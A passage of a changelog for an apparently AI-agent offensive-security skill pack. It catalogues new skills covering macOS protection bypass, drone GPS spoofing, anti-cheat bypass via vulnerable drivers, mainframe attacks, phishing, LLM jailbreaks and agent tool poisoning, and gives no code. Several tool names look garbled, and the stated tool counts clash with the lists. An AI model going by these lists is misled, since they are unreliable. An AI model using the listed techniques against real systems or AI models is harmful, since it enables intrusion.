      • Tools: Claude Code, Snaffler, LuLu (Objective-See), KnockKnock, TaskExplorer, What's Your Sign, Dylib Hijack Scanner, SipBypasser, AMFIUnrestrictor, Earth Police (TCC dumper), optool, insert_dylib, MachOExplorer, class-dump, xczombie, Hopper, IDA Pro, Ghidra, r2macho, Jessie, imagetool, img4tool, libimobiledevice, checkra1n, palera1n, ipwndfu, checkm8, ThreatCrowd, CoronaTamer, OnyxDebg, loadconfig, magic-pkt-tool, Keychain-Certificate-Extractor, security_utilities, sshd_config-hardening, apptranslocation, GateKeeperRule, spctl, xcrun, xabacus, MDM profile tools, vmmap, leakHunter, fs_usage, dtrace, Instruments, xnuq, kdebug, kevent, kperf, atos, networksetup, scutil, dtruss, htrottled, taskpolicy, AppleScript Editor, osascript, Automator, LaunchCFMApp
      • Coverage: SIP (System Integrity Protection) bypass, TCC (Transparency, Consent, and Control) bypass, AMFI (Apple Mobile File Integrity), Endpoint Security Framework (ESF), Keychain dump, Mach-O analysis, Apple Silicon (M1/M2/M3/M4) security, Objective-See toolchain, MDM profiling, Gate Keeper bypass, dylib hijacking, codesign verification bypass, LaunchDaemons persistence, universal binaries
      • Scaffolding: SKILL.md (390), payloads.md (1,912, 60+ code blocks), test-cases.md (252, 12 TC-MAC-001..012), guides/macos-security-playbook.md (645)
      • Domain: macos (NEW) | MITRE: T1548-Abuse Elevation Control Mechanism | Tool count: 13
      • Baseline score: 82.7 (Excellent)

    • uav-drone-security — UAV/drone security testing (NEW: aerial category)

      • Tools: MAVProxy, MAVLink, PX4, ArduPilot, DroneSploit, Aeron ( MIPS/ARM ), Wirelessoecong GPS-SDR-SIM, GPS-SDR-SIM, HackRF, BladeRF, PlutoSDR, RTL-SDR, Dump1090, ReadRS avg, RTL_433, droneid_tools, Open Drone ID, broadcast_waveform_decoder, PX4/gazebo_simulation, ArduPilot/SITL, MAVSDK, MAVROS, DronecodeSDK, MAVCLT, QGroundControl, Mission Planner, APM Planner 2, Cyclops, DRONE-FIX, DJI ElectronicsReverse, DJI_Parser, AMI-MavLink, MAVLink-message-spammer, MAVLink-Explorer, c10t/mavlink_camera_capture, c10t/dlgridhash, APM-Shell, PX4-NuttX, APM-Reset, thespdxor_tools, wt32a, px4_uploader, mavlink_node, MAVLink-router, DroneRF, Crazyradio, crazyflie-lib, Dronetag, AirMarket, pymavlink, MAVLink-Python, Redash-Telemetry
      • Coverage: MAVLink/CAN penetration, PX4/ArduPilot autopilot analysis, GPS spoofing (GPS-SDR-SIM), RF replay (DSM/SBUS/FrSky), DroneID/Open Drone ID tracking, DroneSploit framework, autopilot RCE, no-fly zone bypass, telemetry fuzzing, camera payload exploitation, battery management system attacks
      • Scaffolding: SKILL.md (299), payloads.md (2,197, 61 code blocks), test-cases.md (230, 12 TC-UAV-001..012), guides/uav-drone-security-playbook.md (635)
      • Domain: aerial (NEW) | MITRE: T1548-Abuse Elevation Control Mechanism | Tool count: 13
      • Baseline score: 85.5 (Excellent)

    • game-anticheat-bypass — Game anti-cheat bypass (NEW: game-security category)

      • Tools: Cheat Engine, ScyllaHide, x64dbg, TitanHide, process hacker, pe-sieve, Moneta, PEview, PE-bear, Detectem, PEframe, pestudio, Procmon, API Monitor, WinDbg, Ghidra, IDA Pro, Hiew, OllyDbg, CheatGear, Pinakeio, RXDX, rawaccel, CheatGear Helper, HelperX, ABP Audit, KernelMode.info, LOLDrivers, DriverQuery, SignedGrid, sigverify-py, sigthiness, Capcom.sys exploit, dbutil_2_3.sys, gdrv.sys, pcrfltrelector, ProcessHacker, OSR Driver Loader, kdmapper, KdMapper, EACBypass, BEBypass, VanguardBypass, VMPProtect, Themida, VMProtect, Enigma Protector, ASProtect, UPX, Custom Packer, Hypervisor-based Introspection (DMA), PCIe Suzze, DMA Card, ScreamerDX, KIWI-, Hyperjack, Hyperdbg, syzgen, syzkaller (Windows port), Dr. Memory, DynamoRIO, Intel PT, Trace gist
      • Coverage: EAC (Easy Anti-Cheat), BattlEye, Vanguard (Riot), EQU8, Faceit AC, Blizzard Warden architecture; kernel-mode hooking detection; BYOVD (Bring Your Own Vulnerable Driver) attacks via LOLDrivers (Capcom.sys, dbutil_2_3.sys, gdrv.sys, RTCore64.sys); hypervisor-based memory introspection; DMA hardware attacks (ScreamerDX, PCIe Suzze); anti-debug bypass; code signing abuse; memory manipulation detection
      • Ethical framing: Skill includes explicit Ethical Framing section positioning content as "security research / anti-cheat developer education / red-blue team training"; NOT for cheating in production games. All payloads are for authorized research, controlled lab environments, or anti-cheat developer defense.
      • Scaffolding: SKILL.md (244, with Ethical Framing section), payloads.md (2,168, 90 code blocks), test-cases.md (223, 12 TC-GAB-001..012), guides/game-anticheat-bypass-playbook.md (447)
      • Domain: game-security (NEW) | MITRE: T1548-Abuse Elevation Control Mechanism | Tool count: 13
      • Baseline score: 85.2 (Excellent)

    • mainframe-security — Mainframe/legacy systems security (NEW: mainframe category)

      • Tools: Hercules emulator, tn3270, wc3270, x3270, c3270, s3270, RACF, ACF2, Top Secret, TSO, ISPF, CICS Transaction Server, DB2, IMS, MQ, JES2, JES3, SDSF, SMP/E, HCD, DFSMS, RMF, SMF, z/OS UNIX, z/OSMF, z/OS Communication Server, FTP, SNA, VTAM, APPC, LU 6.2, TCP/IP, RACF Remote Sharing, RRS, CryptoExpress, WebSphere Adapter for CICS, IBM Explorer for z/OS, Zowe, Z Open Development, Zowe CLI, IDz (IBM Developer for z/OS), CICS Explorer, IBM Explorer for z/OS, Mainframe Products, IBM Z Debug, xpediter, fault analyzer, file manager,Db2 Admin Tool, SPUFI, QMF, DSNTEP2, DSN1COPY, DSN1LOGP, DSN1COMP, IDCAMS, IKJEFT01, IEFBR14, IEHPROGM, IEBGENER, ICEGENER, SORT, MERGE, IEBPTPCH, IEBCOPY, AMSENUSS, z/OS Health Checker, IBM Z and Cloud Native Field Portal
      • Coverage: z/OS penetration testing; RACF user/group/permission auditing; CICS transaction abuse; DB2 SQL injection; JES2 spooling attacks; TN3270 emulation; Hercules emulator for lab; syslog relay; mainframe phishing; SNA/APPC attacks; dataset manipulation; APF authorization bypass; Started Task control; RACF database extraction; password cracking (RACF encrypted hashes)
      • Scaffolding: SKILL.md (282), payloads.md (1,525, 60+ code blocks), test-cases.md (325, 12 TC-MF-001..012), guides/mainframe-security-playbook.md (425)
      • Domain: mainframe (NEW) | MITRE: T1078-Valid Accounts | Tool count: 13
      • Baseline score: 88.8 (Excellent, highest of v0.1.34 cohort)

    Quality Snapshot

    Metricv0.1.33v0.1.34Change
    Total skill domains9599+4
    Distinguished (92+)1919unchanged
    Excellent (80-91.9)7580+5 (4 new + automotive lift)
    Strong (60-80)10-1 (automotive lifted to Excellent)
    Average score87.9687.96unchanged
    Excellent or above94/95 (98.9%)99/99 (100%)+1.1pp — full Excellent+ milestone restored

    Index Files Sync

    FileChange
    validation/update-skill-standard.py+4 ATTACK_SKILLS entries; +4 DOMAIN_MAP entries (macos/aerial/game-security/mainframe); +4 MITRE_MAP entries
    IDENTITY.md+4 skill tag rows
    TOOLS.md+4 category index rows; 95→99 skill domains
    README.md6 locations updated (95→99, version 0.1.33→0.1.34, +v0.1.34 changelog row, refreshed quality snapshot)
    CHANGELOG.md+v0.1.34 entry
    VERSION0.1.33 → 0.1.34

    Workload

    ItemCount
    New files16 (4×SKILL.md + 4×payloads.md + 4×test-cases.md + 4×guides)
    New code lines~10,500
    New test cases48 (12×4)
    Lifted files3 (automotive payloads.md, playbook, new ecu-firmware guide)
    Lifted code lines~2,000
    First-time scored skills4
    New categories entered4 (macos, aerial, game-security, mainframe)
    Skills lifted to Excellent+1 (automotive-vehicle-security)
    Heartbeat health checkHEARTBEAT_OK (463 guides, 0 issues)

    Strategic Value

    • Automotive stack fully closed: From zero (v0.1.32) to lift-verified Excellent (v0.1.34); CAN/UDS/IVI/key fobs/EV charging all covered at depth
    • OS matrix completed: Linux (existing), Windows (existing), macOS (NEW), mobile (existing), mainframe (NEW) — end-to-end endpoint coverage
    • Aerial domain entered: First skill targeting UAV/drone attack surface (MAVLink/PX4/RF/GPS) — aligned with rising IoT-aerial threat landscape
    • Game security entered: First skill targeting anti-cheat internals (BYOVD/kernel introspection) — dual-use research framed ethically for red-blue team and AC developer education
    • 100% Excellent+ milestone restored: v0.1.32's 91/91 milestone, broken in v0.1.33 by automotive 79.0, is now restored at 99/99

    Methodology Validation: GitHub-Trending Wave 5

    WaveVersionNew SkillsNew CategoriesNote
    1v0.1.294ai-red-team, defense, cloud-native, appsecFirst use of GitHub-trending methodology
    2v0.1.304ai-emerging, iot, defense, ai-metaSame-day double release validated reproducibility
    3v0.1.314enterprise-cloud, physical, cryptography, appsecSame-day triple release milestone
    4v0.1.334telecom, automotive, mobile-deep, cloud-nativeFirst wave to target long-standing blind spots
    5v0.1.344macos, aerial, game-security, mainframeFifth wave; pairs expansion with strategic lift

    → GitHub-trending methodology fully mature; 5 waves over 5 releases have added 20 new skills across 14 new categories while maintaining 100% Excellent+ quality floor.

    Next Steps (v0.1.35 Candidates)

    • A: Distinguished sprint — push 89-91 tier skills to 92+ (username-profiling 91.6, quantum-crypto-attack 90.8, deep-research 90.6, secret-management-attack 90.4, agentic-pentest 90.0)
    • B: v0.1.34 cohort deepening — add 2nd guide file to 4 new skills
    • C: Bottom lift — lift email-security-deep (81.0), 5g-telecom-attack (82.5), macos-security (82.7) toward 88+
    • D: Expansion wave 6 — ICS field protocols deep (Profibus/IEC 61850), low-level radio (HF/VHF), blockchain L2s, embedded RTOS (VxWorks/QNX), automotive ADAS deep
    • E: A + C combo (dual-pronged quality lift toward Distinguished 25+ and 99/99 above 85+)

    v0.1.33 (2026-06-22) — GitHub-Trending Expansion Wave 4: +4 Skill Domains (91→95)

    Driver: Fourth Wave of GitHub-Trending Methodology

    v0.1.33 is the FOURTH release using the GitHub-trending-driven expansion methodology. After v0.1.32's pure quality lift (100% Excellent+ milestone), this version returns to expansion with 4 new skill domains targeting long-standing coverage gaps.

    New Skill Domains (+4)

    • 5g-telecom-attack — 5G cellular network security (NEW: telecom category)
      • Tools: srsRAN, Open5GS, UERANSIM, PacketRusher, Wireshark (5G dissectors), srsENB/srsUE, Gr-SDR/USRP, Amarisoft, PFCP toolkit, ss7MAPer, sctpscan
      • Coverage: 5G core (AMF/SMF/UPF/AUSF/UDM), PFCP attacks, GTP-U/GTP-C fuzzing, Diameter/SS7 legacy, IMSI catcher detection, O-RAN, roaming abuse, SMS interception, SUCI/SUPI privacy
      • Differentiator: CELLULAR NETWORK (5G SA/NSA) vs adjacent bluetooth-rfid-nfc (local radio), wifi-pentest (LAN wireless)
      • Scaffolding: SKILL.md (262), payloads.md (2,148, 68 code blocks), test-cases.md (233, 12 TC-5G-001..012), guides/5g-telecom-attack-playbook.md (535)
      • Domain: telecom (NEW) | MITRE: T1557-Adversary-in-the-Middle | Tool count: 13
      • Baseline: 82.5 / Excellent
    • automotive-vehicle-security — Connected vehicle pentest (NEW: automotive category)
      • Tools: can-utils, python-can, cantools, savvy-can, GVRET, CANToolz, scapy automotive, OpenXC, CANBadger, Macchina, USBTin, HackRF (key fop)
      • Coverage: CAN/CAN-FD bus, UDS (ISO 14229), IVI pentest, OBD-II, key fop replay/relay (rolling code, PKES), GNSS spoofing, ISO 15118 EV charging, CAN injection methodology
      • Differentiator: VEHICLE INTERNAL BUS + ECUs vs iot-pentest (general embedded), sdr-rf-attack (key fop RF)
      • Scaffolding: SKILL.md (433), payloads.md (1,344), test-cases.md (233, 12 TC-AV-001..012), guides/automotive-vehicle-security-playbook.md (552)
      • Domain: automotive (NEW) | MITRE: TA0001-Initial Access | Tool count: 13
      • Baseline: 79.0 / Strong (1 point below threshold; will be lifted next cycle — bottlenecks: payload_code 24, field 0.86, guide 68)
    • mobile-app-instrumentation — Dynamic instrumentation (NEW: mobile-deep category)
      • Tools: Frida, Objection, r2frida, Introspy, Cycript, iPAA, Clutch, bfinject, jtool2, radare2, ghidra, jadx, apktool
      • Coverage: Frida JS hooking, Objection runtime exploration, SSL pinning bypass, jailbreak/root detection bypass, anti-debug bypass, iOS Keychain dump, Android Keystore manipulation, native lib instrumentation, crypto tracing, WebView manipulation, anti-Frida evasion
      • Differentiator: RUNTIME INSTRUMENTATION (Frida/Objection) vs mobile-security (static config/manifest). Explicit differentiation table provided.
      • Scaffolding: SKILL.md (298), payloads.md (1,317, 60+ code blocks), test-cases.md (236, 12 TC-MI-001..012), guides/mobile-app-instrumentation-playbook.md (358)
      • Domain: mobile-deep (NEW) | MITRE: T1623-Mobile Adware | Tool count: 13
      • Baseline: 84.5 / Excellent
    • cloud-native-vuln-research — CVE research methodology (extends cloud-native category)
      • Tools: nuclei, nuclei-templates, trivy, grype, syft, osv-scanner, kube-bench, kube-hunter, peirates, exploitdb, sploitus, vulners
      • Coverage: CVE triage methodology, patch diff analysis, SBOM generation, nuclei template authoring, container escape CVEs (runc/CVE-2022-0185), k8s CVEs, JVM CVEs (Log4Shell/Spring4Shell/Text4Shell), cloud provider CVEs (OMIGOD/Chaos DB), kernel CVEs in containers, KEV tracking, exploit chain composition
      • Differentiator: RESEARCH/METHODOLOGY (PoC reproduction + chain composition) vs cloud-security (assessment), container-security (defense), kubernetes-attack (offense). Explicit differentiation table provided.
      • Scaffolding: SKILL.md (318), payloads.md (1,253, 69 code blocks), test-cases.md (222, 12 TC-CV-001..012), guides/cloud-native-vuln-research-playbook.md (347)
      • Domain: cloud-native | MITRE: T1068-Exploitation for Privilege Escalation | Tool count: 13
      • Baseline: 85.2 / Excellent

    Baseline Scoring Run (SCORE.sh v2)

    SkillScoreTier
    cloud-native-vuln-research85.2Excellent
    mobile-app-instrumentation84.5Excellent
    5g-telecom-attack82.5Excellent
    automotive-vehicle-security79.0Strong (1 point below threshold; will be lifted next cycle)

    Index Updates

    • validation/update-skill-standard.py — Registered 4 new skills in ATTACK_SKILLS; added 4 DOMAIN_MAP entries (2 new categories: telecom, automotive; mobile-deep extends mobile; cloud-native-vuln-research extends cloud-native); MITRE_MAP updated for all 4
    • IDENTITY.md — Added 4 new skill tag rows
    • TOOLS.md — Added 4 new category rows; 91 → 95 domains
    • README.md — 91→95 domains (6 locations); expanded skill list description; +v0.1.33 changelog row; refreshed quality snapshot; bumped Project Info version 0.1.32→0.1.33
    • CHANGELOG.md — v0.1.33 entry
    • VERSION — 0.1.32→0.1.33
    • RELEASE-v0.1.33.md — Chinese release announcement

    Quality Snapshot

    • Distinguished: 19 (unchanged)
    • Excellent: 72 → 75 (+3 new)
    • Strong: 0 → 1 (+automotive-vehicle-security 79.0, borderline)
    • Total: 91 → 95 (+4)
    • Average: 88.19 → 87.96 (-0.23, expected with 4 new baselines in 79-85 range)
    • Min: 81.0 → 79.0 (automotive-vehicle-security is new min)
    • Max: 93.8 (unchanged)

    Stats

    • New content: ~9,575 lines across 16 new files (4 SKILL.md + 4 payloads.md + 4 test-cases.md + 4 guides)
    • New test cases: 48 (12 × 4 skills)
    • 2 new categories entered: telecom, automotive
    • Heartbeat: HEARTBEAT_OK — 459 guides checked, 0 issues

    Strategic Significance

    This release brings kali-claw to 95 skill domains covering 25+ categories (web, network, mobile, cloud, AI/LLM, hardware, wireless, forensics, defense, OSINT, ICS, automotive, telecom, blockchain, financial, cryptography, physical, and more). The automotive-vehicle-security Strong-tier baseline (79.0) is already diagnosed — payload_code is the main bottleneck (24 vs target 50+) — and will be lifted in v0.1.34 alongside continued Distinguished sprints.

    v0.1.32 (2026-06-21) — Quality Lift: 91/91 Excellent+ Achieved (100%)

    Driver: Eliminate Strong Tier + Deepen New Skills

    v0.1.32 is a quality-focused release with zero new skill domains. Two objectives:

    1. Lift the last 2 Strong-tier skills (username-profiling 77.7, quantum-crypto-attack 79.7) to Excellent+
    2. Deepen v0.1.28-v0.1.30 cohort (12 skills) by adding a 2nd guide file to each

    Result: 91/91 skills now at Excellent or above (100% coverage). Average lifted 87.51 → 88.19 (+0.68).

    Lifted: 2 Strong-tier Skills → Excellent

    • quantum-crypto-attack: 79.7 → 90.8 (+11.1)
      • Added guides/pqc-migration-assessment-playbook.md (775 lines NEW) — NIST/CNSA 2.0/ETSI/GB-T regulatory landscape, ML-KEM/ML-DSA/SLH-DSA selection, SNDL threat modeling, hybrid TLS rollout (nginx/Apache/OpenSSL 3.x + oqs-provider), SM-series migration, case studies (Cloudflare KEMTLS, Google CECPQ2, Signal PQXDH, Apple PQ3)
      • Expanded guides/quantum-crypto-attack-playbook.md 533 → 854 lines (+2 key sections: Side-Channel Attack Labs, QKD Implementation Audits)
      • Expanded payloads.md 1,124 → 1,919 lines (+5 new payload sections, +24 code blocks → 57 total)
      • Fixed field completeness (0.86 → 1.00) in SKILL.md YAML frontmatter and test-cases.md
    • username-profiling: 77.7 → 91.6 (+13.9)
      • Added guides/maigret-username-workshop.md (1,247 lines NEW) — 15 sections covering Maigret multi-site enumeration, NDJSON parsing, Sherlock/WhatsMyName correlation, Maltego/Neo4j export, GDPR/PII handling, automation
      • Expanded guides/maigret-username-dossier.md 504 → 959 lines (+2 key sections: Cross-Platform Identity Graph Construction, Operational Security for Investigators)
      • Expanded payloads.md 591 → 1,675 lines (+8 new sections, +46 code blocks → 67 total; word count 2,329 → 6,091)
      • Added 2 new test cases (TC-UP-012, TC-UP-013)

    Deepened: 12 New Skills Gain 2nd Guide File

    SkillCohortNew GuideLinesScore Δ
    darkweb-intelv0.1.28tor-onion-crawl-playbook.md69484.7 → 89.2 (+4.5)
    threat-huntingv0.1.28sigma-rule-development-playbook.md77085.2 → 87.2 (+2.0)
    blockchain-web3v0.1.28defi-exploit-testing-playbook.md72180.1 → 84.6 (+4.5)
    payment-securityv0.1.28p2pe-hardware-assessment-playbook.md57081.8 → 86.3 (+4.5)
    llm-red-teamv0.1.29llm-jailbreak-arsenal-playbook.md78682.4 → 86.9 (+4.5)
    deception-honeypotv0.1.29canary-deployment-playbook.md96884.8 → 86.8 (+2.0)
    kubernetes-attackv0.1.29k8s-escape-and-lateral-movement-playbook.md88887.5 → 89.5 (+2.0)
    secret-management-attackv0.1.29vault-and-cloud-kms-attack-playbook.md92085.9 → 90.4 (+4.5)
    ai-agent-securityv0.1.30mcp-server-red-team-playbook.md81385.1 → 87.1 (+2.0)
    iot-pentestv0.1.30radio-and-firmware-iot-testing-playbook.md69785.5 → 87.5 (+2.0)
    detection-engineeringv0.1.30soc-playbook-mapping-to-nist-csf-2-0.md73185.7 → 87.7 (+2.0)
    agentic-pentestv0.1.30agent-orchestration-patterns-playbook.md82488.0 → 90.0 (+2.0)

    Total: +10,180 lines across 12 new guide files. Each skill's SKILL.md frontmatter updated (guide_count: 1 → 2, version bump).

    Index Updates

    • IDENTITY.md — Refreshed descriptions for quantum-crypto-attack and username-profiling (reflecting new coverage breadth)
    • TOOLS.md — No structural changes (no new skill domains); updated "Last updated" date
    • README.md — Added v0.1.32 changelog row; refreshed quality snapshot (Strong 2 → 0, Excellent 70 → 72, average 87.51 → 88.19); bumped Project Info version 0.1.31→0.1.32
    • CHANGELOG.md — v0.1.32 entry
    • VERSION — 0.1.31→0.1.32
    • RELEASE-v0.1.32.md — Chinese release announcement

    Quality Snapshot

    • Distinguished: 19 (unchanged)
    • Excellent: 70 → 72 (+2 from Strong lifts)
    • Strong: 2 → 0 (both lifted!)
    • Total: 91 (unchanged)
    • Average: 87.51 → 88.19 (+0.68)
    • Min: 77.7 → 81.0 (email-security-deep)
    • Max: 93.8 (unchanged)
    • 100% Excellent+ coverage — first time in workspace history

    Stats

    • New content: ~12,527 lines (1,775 new quantum guide + 1,247 new username guide + 455 username dossier expansion + 795 quantum playbook expansion + 795 quantum payloads expansion + 10,180 across 12 cohort guides)
    • New guide files: 14 (2 Strong lifts + 12 cohort deepening)
    • New payload sections: 13 (5 in quantum + 8 in username)
    • New code blocks: 70+ (24 quantum + 46 username)
    • New test cases: 2 (TC-UP-012, TC-UP-013)
    • Heartbeat: HEARTBEAT_OK — 455 guides checked, 0 issues
    • Zero new skill domains — pure quality lift release

    Strategic Significance

    v0.1.32 marks the workspace's first 100% Excellent+ milestone: every one of the 91 skill domains scores 80 or higher, with 19 at Distinguished (92+). The two long-standing Strong-tier skills (username-profiling since v0.1.16, quantum-crypto-attack since v0.1.31) are now both at Excellent or above. The next quality frontier is pushing Excellent-tier skills toward Distinguished (92+).

    v0.1.31 (2026-06-17) — GitHub-Trending Expansion Wave 3: +4 Skill Domains (87→91)

    Driver: Third Wave of GitHub-Trending Methodology

    v0.1.31 is the THIRD same-day release using the GitHub-trending-driven expansion methodology. Selected 4 skills from real coverage gaps validated against GitHub ecosystem research. Total candidate ecosystem stars for v0.1.31 cohort: ~50k+.

    New Skill Domains (+4)

    • cloud-identity-attack — Cloud identity provider attacks (NEW: enterprise-cloud category)
      • Tools: ROADtools, AADInternals, MicroBurst, MFASweep, TokenTactics, AzureHound, okta-cli, GraphRunner, ScoutSuite
      • Coverage: Azure AD/Entra ID, Okta, Auth0, Ping, AWS IAM Identity Center, Google Workspace; OAuth/SAML/OIDC abuse, CA bypass, MFA fatigue, federation compromise
      • Differentiator: CLOUD IdP vs. ad-ldap-attack (ON-PREM AD/LDAP)
      • Scaffolding: SKILL.md (469), payloads.md (1,209), test-cases.md (269, 12 TC), guides/cloud-identity-attack-playbook.md (808)
      • Domain: enterprise-cloud | MITRE: T1078-Valid Accounts | Tool count: 14
      • Baseline: 83.8 / Excellent
    • physical-security-testing — Physical access pentest (NEW: physical category)
      • Tools: Proxmark3, ESP-RFID-Tool, Walrus, LAN Turtle, USB Rubber Ducky, Bash Bunny, Packet Squirrel
      • Coverage: Lock bypass (pin/tubular/wafer), RFID/NFC badge cloning (HID Prox/iCLASS, Mifare), drop boxes, USB weapons, hidden cameras, on-site ops, tailgating prep, physical-docs legal templates
      • Differentiator: GAINING PHYSICAL ACCESS vs. adjacent skills which cover wireless protocol analysis, firmware, RF
      • Scaffolding: SKILL.md (810), payloads.md (1,790), test-cases.md (310, 12 TC), guides/physical-security-testing-playbook.md (542)
      • Domain: physical | MITRE: TA0001-Initial Access (physical) | Tool count: 12
      • Baseline: 86.6 / Excellent (highest of v0.1.31 cohort)
    • quantum-crypto-attack — Post-quantum and national cryptography (extends cryptography category)
      • Tools: liboqs, OQS-OpenSSL, GmSSL, cloudflare/circl, hashsigs-solidity, Qiskit, PQCrypto-Break
      • Coverage: NIST PQC candidates (ML-KEM/ML-DSA/SLH-DSA), hybrid TLS, QKD/BB84 protocol attacks, SM2/SM3/SM4/SM9 (国密), lattice side-channel, post-quantum migration risk
      • Differentiator: POST-QUANTUM + 国密 vs. crypto-attacks (classical RSA/AES/ECDSA)
      • Scaffolding: SKILL.md (372), payloads.md (1,124), test-cases.md (268, 12 TC), guides/quantum-crypto-attack-playbook.md (533)
      • Domain: cryptography | MITRE: T1040 + forward-looking | Tool count: 12
      • Baseline: 79.7 / Strong (just 0.3 below Excellent threshold; will be lifted next cycle)
    • email-security-deep — Phishing infrastructure + gateway bypass (extends appsec category)
      • Tools: evilginx2, evilgophish, modlishka, gophish, King-Phisher, espoofer
      • Coverage: AiTM MFA interception, campaign platforms, Proofpoint/Mimecast/Cisco ESA/Microsoft Defender bypass, sender reputation, email bombing, FIDO2 detection
      • Differentiator: CAMPAIGN OPS + GATEWAY EVASION + MFA PHISHING vs. email-protocol-attack (protocol-level forgery). Explicit cross-reference section prevents overlap.
      • Scaffolding: SKILL.md (369), payloads.md (930), test-cases.md (281, 12 TC), guides/email-security-deep-playbook.md (692)
      • Domain: appsec | MITRE: T1566-Phishing | Tool count: 14
      • Baseline: 81.0 / Excellent

    Baseline Scoring Run (SCORE.sh v2)

    SkillScoreTier
    physical-security-testing86.6Excellent
    cloud-identity-attack83.8Excellent
    email-security-deep81.0Excellent
    quantum-crypto-attack79.7Strong (just below threshold)

    Index Updates

    • validation/update-skill-standard.py — Registered 4 new skills; 2 new categories (enterprise-cloud, physical); MITRE_MAP updated for 3 new skills
    • IDENTITY.md — Added 4 new skill tags
    • TOOLS.md — Added 4 new category rows; 87 → 91 domains
    • README.md — 87→91 domains (6 locations); +4 skill rows; +v0.1.31 changelog row; refreshed quality snapshot; bumped Project Info version 0.1.30→0.1.31
    • CHANGELOG.md — v0.1.31 entry
    • VERSION — 0.1.30→0.1.31
    • RELEASE-v0.1.31.md — Chinese release announcement

    Quality Snapshot

    • Distinguished: 19 (unchanged)
    • Excellent: 67 → 70 (+3 new)
    • Strong: 1 → 2 (+quantum-crypto-attack 79.7, borderline)
    • Total: 87 → 91
    • Average: 87.73 → 87.51 (4 new baselines in 79-87 range)
    • Min: 77.7 (unchanged — username-profiling)
    • Max: 93.8 (unchanged)

    Stats

    • New content: ~10,776 lines across 16 new files (4 SKILL.md + 4 payloads.md + 4 test-cases.md + 4 guides)
    • New test cases: 48 (12 × 4 skills)
    • Heartbeat: HEARTBEAT_OK — 441 guides checked, 0 issues
    • 2 new categories entered: enterprise-cloud, physical
    • 89/91 (97.8%) at Excellent or above — quantum-crypto-attack will be lifted next cycle

    Coverage Gaps Closed

    • Identity layer: ad-ldap-attack (on-prem) ↔ cloud-identity-attack (cloud) — now covers both worlds
    • Physical access: first skill in this category; closes long-standing gap
    • Quantum-readiness: forward-looking coverage for PQC migration wave
    • Phishing infrastructure: depth skill complementing email-protocol-attack

    v0.1.30 (2026-06-17) — GitHub-Trending Expansion Wave 2: +4 Skill Domains (83→87)

    Driver: GitHub Open-Source Analysis Wave 2

    Following v0.1.29's methodology, v0.1.30 continues the GitHub-trending-driven expansion. Selected from the second-tier candidates identified in v0.1.29's release notes. Four new categories entered: ai-emerging, iot, defense-deepening (detection-engineering), ai-meta.

    New Skill Domains (+4)

    • ai-agent-security — Offensive AI agent testing (NEW CATEGORY: ai-emerging)
      • Tools: HexStrike AI, AI-Infra-Guard, mcp-scan, MCP Inspector, garak, picklescan
      • Coverage: MCP tool poisoning, indirect prompt injection, RAG poisoning, agent sandbox escape, multi-agent compromise
      • Differentiator: AGENT-focused (stateful, tool-using, autonomous) vs. llm-red-team (stateless LLM)
      • Scaffolding: SKILL.md (575), payloads.md (2,184), test-cases.md (204, 12 TC), guides/ai-agent-security-playbook.md (976)
      • Domain: ai-emerging | Tool count: 12
      • Baseline: 85.1 / Excellent
    • iot-pentest — IoT application-layer pentest (NEW CATEGORY: iot)
      • Tools: mosquitto, MQTT-Pwn, IoT-Goat, EMQX, coap-client, chip-tool, Shodan
      • Coverage: MQTT broker abuse, CoAP attacks, AMQP, AWS/Azure IoT backends, mobile companion apps, OWASP IoT Top 10
      • Differentiator: APPLICATION-LAYER IoT vs. firmware-reverse (extraction), hardware-security (side-channel), bluetooth-rfid-nfc (radios)
      • Scaffolding: SKILL.md (499), payloads.md (1,303), test-cases.md (270, 12 TC), guides/iot-pentest-playbook.md (685)
      • Domain: iot | MITRE: T1021-Remote Services | Tool count: 12
      • Baseline: 85.5 / Excellent
    • detection-engineering — Detection-as-code craft (defense deepening)
      • Tools: SigmaHQ, Yara-Rules, Loki, yarGen, hayabusa, SigmaCLI, zircollo
      • Coverage: Sigma/YARA rule authoring, SPL/KQL/EQL, ATT&CK mapping, detection CI/CD, FP tuning, lifecycle
      • Differentiator: AUTHORING & DEPLOYING rules vs. threat-hunting (USING detections to hunt), logging-monitoring (log infra)
      • Scaffolding: SKILL.md (755), payloads.md (2,325), test-cases.md (281, 12 TC), guides/detection-engineering-playbook.md (1,351)
      • Domain: defense | MITRE: TA0040-Detection | Tool count: 14
      • Baseline: 85.7 / Excellent
    • agentic-pentest — LLM-driven autonomous pentest (NEW CATEGORY: ai-meta)
      • Tools: PentestGPT, HexStrike AI, Viper, PentestAgent, AI-Infra-Guard, AutoPWN
      • Coverage: Reasoning-chain orchestration, tool delegation, context management, HITL, multi-agent team coordination
      • Differentiator: USING pentest agents vs. ai-agent-security (ATTACKING agents), autonomous-loops (generic patterns)
      • Scaffolding: SKILL.md (574), payloads.md (1,771), test-cases.md (199, 12 TC), guides/agentic-pentest-playbook.md (791)
      • Domain: ai-meta | Tool count: 12
      • Baseline: 88.0 / Excellent (highest of v0.1.30 cohort)

    Baseline Scoring Run (SCORE.sh v2)

    First-time scores for 4 v0.1.30 new skills:

    SkillScoreTier
    agentic-pentest88.0Excellent
    detection-engineering85.7Excellent
    iot-pentest85.5Excellent
    ai-agent-security85.1Excellent

    Index Updates

    • validation/update-skill-standard.py — Registered 4 new skills in ATTACK_SKILLS, DOMAIN_MAP (4 new categories: ai-emerging, iot, defense, ai-meta), MITRE_MAP (iot-pentest + detection-engineering)
    • IDENTITY.md — Added 4 new skill tags
    • TOOLS.md — Added 4 new category rows; 83 → 87 domains
    • README.md — 83→87 domains (6 locations); +4 skill rows; +v0.1.30 changelog row; refreshed quality snapshot; bumped Project Info version 0.1.29→0.1.30
    • CHANGELOG.md — v0.1.30 entry
    • VERSION — 0.1.29→0.1.30
    • RELEASE-v0.1.30.md — Chinese release announcement

    Quality Snapshot

    • Distinguished: 19 (unchanged)
    • Excellent: 63 → 67 (+4 new)
    • Strong: 1 (unchanged — username-profiling 77.7)
    • Total: 83 → 87
    • Average: 87.81 → 87.73 (4 new baselines in 85-88 range)
    • Min: 77.7 (unchanged)
    • Max: 93.8 (unchanged)

    Stats

    • New content: ~14,743 lines across 16 new files (4 SKILL.md + 4 payloads.md + 4 test-cases.md + 4 guides)
    • New test cases: 48 (12 × 4 skills)
    • Heartbeat: HEARTBEAT_OK — 437 guides checked, 0 issues
    • 4 new categories entered: ai-emerging, iot, defense (deepening), ai-meta

    v0.1.29 (2026-06-17) — GitHub-Trending Expansion: +4 Skill Domains (79→83), 8 New Skills Scored

    Driver: GitHub Open-Source Analysis

